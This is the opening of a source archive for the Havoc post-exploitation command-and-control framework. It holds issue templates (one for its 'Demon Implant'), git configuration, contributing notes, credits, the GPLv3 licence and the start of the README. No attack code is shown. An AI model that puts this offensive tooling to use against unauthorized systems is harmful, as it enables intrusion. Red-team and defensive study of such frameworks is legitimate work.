pax_global_header00006660000000000000000000000064146701422170014516gustar00rootroot0000000000000052 comment=69ce17cb3686641e92a657cece5989feb9af64ed havoc-0.6~git20240910.69ce17c/000077500000000000000000000000001467014221700152675ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/.github/000077500000000000000000000000001467014221700166275ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/.github/FUNDING.yml000066400000000000000000000001271467014221700204440ustar00rootroot00000000000000# These are supported funding model platforms github: [Cracked5pider] patreon: 5pider havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/000077500000000000000000000000001467014221700210125ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/Bug_Report-Demon.yml000066400000000000000000000031041467014221700246430ustar00rootroot00000000000000name: Demon-Implant Bug Report description: File a bug report for the Demon Implant title: "[File a bug report for the Demon Implant]: " labels: ["bug"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: textarea id: what-happened attributes: label: "What happened?" description: "Also tell us, what did you expect to happen?" placeholder: "Tell me about the numbers Mason!" value: "A bug happened!" validations: required: true - type: dropdown id: branch attributes: label: Did You Try With the Dev Branch? description: "This branch has the latest features and fixes so it might solve your problem" options: - "Yes (You tried using the dev branch but the problem persists)" - "No (You only tried the main branch...)" validations: required: true - type: textarea id: logs attributes: description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks." label: "Relevant log output" render: shell - type: checkboxes id: terms attributes: label: Did You Read Over Your Issue First? description: "By submitting this issue, you confirm you posted replication steps and information about the issue, so that it may be fully understood ." options: - label: "I declare I made an effort and provided the necessary information for replication of the issue." required: true havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/Bug_Report-Documentation.yml000066400000000000000000000031701467014221700264150ustar00rootroot00000000000000name: Documentation Bug Report description: File a bug report for the Documentation relating to the Havoc Framework. title: "[File a bug report for the Havoc Framework Documentation]: " labels: ["documentation"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: input id: contact attributes: label: "Contact Details" description: "How can we get in touch with you if we need more info?" placeholder: "ex. email@example.com" validations: required: false - type: textarea id: what-grammar attributes: label: "What's the issue?" description: "Also tell us, what should it be?" placeholder: "Tell me about the numbers Mason!" value: "You mispelled 'cat'!" validations: required: true - type: dropdown id: version attributes: label: Did You Do a Pull First? description: "If this isn't related to the github wiki, What version of our software are you running?" options: - "Latest (You performed a pull first)" - "Anything else (You didn't pull...)" validations: required: true - type: checkboxes attributes: label: Did You Read Over Your Issue First? description: "By submitting this issue, you declare you fully thought about your suggestion and have read it aloud back to yourself and made sure it sounds alright." options: - label: "I declare I made an effort and provided the necessary information for identification and remediation of the issue." required: true havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/Bug_Report-Teamserver-Client.yml000066400000000000000000000042451467014221700271410ustar00rootroot00000000000000name: "Teamserver/Client Bug Report" description: File a bug report for the Teamserver client relating to the Havoc Framework. title: "[Teamserver-Client--Bug]: " labels: ["clientside/teamserver"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: input id: contact attributes: label: "Contact Details" description: "How can we get in touch with you if we need more info?" placeholder: "ex. email@example.com" validations: required: false - type: textarea id: what-happened attributes: description: "Also tell us, what did you expect to happen?" label: "What happened?" placeholder: "Tell me about the numbers Mason!" value: "A bug happened!" validations: required: true - type: dropdown id: version attributes: description: "What version of our software are you running?" label: Did You Do a Pull First? options: - "Latest (You performed a pull first)" - "Anything else (You didn't pull...)" validations: required: true - type: dropdown id: branch attributes: label: Did You Try With the Dev Branch? description: "This branch has the latest features and fixes so it might solve your problem" options: - "Yes (You tried using the dev branch but the problem persist)" - "No (You only tried the main branch...)" validations: required: true - type: textarea id: logs attributes: label: "Relevant log output" description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks." render: shell - type: checkboxes id: checkboxes id: terms attributes: description: "By submitting this issue, you declare you posted replication steps and information about the issue, so that it may be fully understood ." label: Did You Read Over Your Issue First? options: - label: "I declare I made an effort and provided the necessary information for replication of the issue." required: true havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/Feature_Suggestion.yml000066400000000000000000000036511467014221700253440ustar00rootroot00000000000000name: Feature Suggestion description: File a feature suggestion for the Havoc Framework title: "[Feature Suggestions/Enhancements]: " labels: ["enhancement"] assignees: - C5pider body: - type: markdown attributes: value: | Thanks for taking the time to suggest a feature! - type: input id: contact attributes: label: Contact Details description: How can we get in touch with you if we need more info? placeholder: ex. email@example.com validations: required: false - type: textarea id: what-is attributes: label: What is the idea? description: Please expound on it, and list any supporting resources that be helpful. placeholder: Tell me what the numbers mean Mason! value: "You should convert the teamserver to C++" validations: required: true - type: dropdown id: version attributes: label: Is_it_already_in? description: Does the feature already exist in Havoc? options: - No (You checked and it doesn't.) - Yes (You didn't check...) validations: required: true - type: textarea id: logs attributes: label: Relevant code samples description: Please insert any relevant code you think may be helpful in understanding/implementing the feature. This will be automatically formatted into code, so no need for backticks. If you already have a feature built and would like to add it to the project, please make a pull request instead. render: shell - type: checkboxes id: terms attributes: label: Are-You-Trolling? description: By submitting this issue, you declare you are making a sincere effort towards improving the functionality/feature set of the Havoc Framework.. options: - label: I declare I made an effort and provided the necessary information for an understanding of the feature by the Framework authors. required: true havoc-0.6~git20240910.69ce17c/.github/ISSUE_TEMPLATE/config.yml000066400000000000000000000003051467014221700230000ustar00rootroot00000000000000--- blank_isues_enabled: false contact_links: - about: "The official Havoc Framework Project's discord server" name: "Havoc Framework Discord" url: "https://discord.gg/X5TYNCpXkD" havoc-0.6~git20240910.69ce17c/.gitignore000066400000000000000000000007601467014221700172620ustar00rootroot00000000000000# ignore .idea */.idea/ # ignore cmake generated stuff Client/Build **/cmake-build-debug/ # dont commit your loot Teamserver/data/loot/ # dont commit your secrets Client/Data/database.db # ignore go stuff Teamserver/go.sum # ignore compiled binaries Client/Havoc Teamserver/teamserver # ignore MUSL C Compiler stuff Teamserver/data/x86_64-w64-mingw32-cross/ # ignore havoc binary havoc # ignore data directory data/ # ignore client directories client/Build/ client/Havoc client/Modules/ havoc-0.6~git20240910.69ce17c/.gitmodules000066400000000000000000000004771467014221700174540ustar00rootroot00000000000000[submodule "client/external/spdlog"] path = client/external/spdlog url = https://github.com/gabime/spdlog [submodule "client/external/json"] path = client/external/json url = https://github.com/nlohmann/json [submodule "client/external/toml"] path = client/external/toml url = https://github.com/ToruNiina/toml11 havoc-0.6~git20240910.69ce17c/CONTRIBUTING.MD000066400000000000000000000007151467014221700174230ustar00rootroot00000000000000# Guide to Contributing ### Pushing Changes to `dev` - It is preferred that new changes are pushed to a new branch, and then a pull request is made to merge that new branch back into Main/Master - Steps: 1. Create a new local branch: * `git switch -c ` 2. Confirm the new branch was created: * `git branch -a` 3. Confirm the upstream branch you'll be committing to and make a push: * `git push -set-upstream origin ` havoc-0.6~git20240910.69ce17c/CREDITS.md000066400000000000000000000036051467014221700167120ustar00rootroot00000000000000# Credits In this file i give credits to those people who helped me working on this project. - [Austin Hudson](https://twitter.com/ilove2pwn_) A lot of the code and ideas are based on his projects. Foliage is one of the sleep obfuscation techniques used by the havoc agent. - [Bobby Cooke](https://twitter.com/0xBoku) A lot of techniques used are based on his projects. - [Codex](https://twitter.com/codex_tf2) Contributed and tested the C2 for flaws and bugs. - [Robert Musser](https://twitter.com/r_o_b_e_r_t_1) Contributed and tested the C2 for flaws and bugs. Added Docker support. - [Adam Svoboda](https://twitter.com/adamsvoboda) Contributed and tested the C2 for flaws and bugs. Worked on the wiki for the api, service and profiles. - [trickster0](https://twitter.com/trickster012) Contributed and tested the C2 for flaws and bugs. - [Raul • theg3ntl3m4n](https://twitter.com/theg3ntl3m4n) Contributed and tested the C2 for flaws and bugs. - [Zach Fleming](https://twitter.com/The___Undergrad) Contributed and tested the C2 for flaws and bugs. - [Shawn (anthemtotheego)](https://twitter.com/anthemtotheego) Contributed and tested the C2 for flaws and bugs. - [chbGSmCm](https://github.com/chbGSmCm) Contributed and tested the C2 for flaws and bugs. - [Laith Yassin](https://twitter.com/LaithYassin13) Logo Designer. - [Fawaz - بوجابر](https://twitter.com/q8fawazo) Contributed and tested the C2 for flaws and bugs. - [Giorgos Karantzas](https://twitter.com/GeKarantzas) & [Constantinos Patsakis](https://twitter.com/kpatsak) of University of Piraeus: Various forms of generic\academic help during a past research engagement. Note: All experimentation took place prior to April 2022 - [@infosecnoodle](https://twitter.com/infosecnoodle) Designed session graph/table agent icons (with lighting bolt effects for high elevated targets) havoc-0.6~git20240910.69ce17c/LICENSE000066400000000000000000001045151467014221700163020ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . havoc-0.6~git20240910.69ce17c/README.md000066400000000000000000000062011467014221700165450ustar00rootroot00000000000000

Havoc


Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.




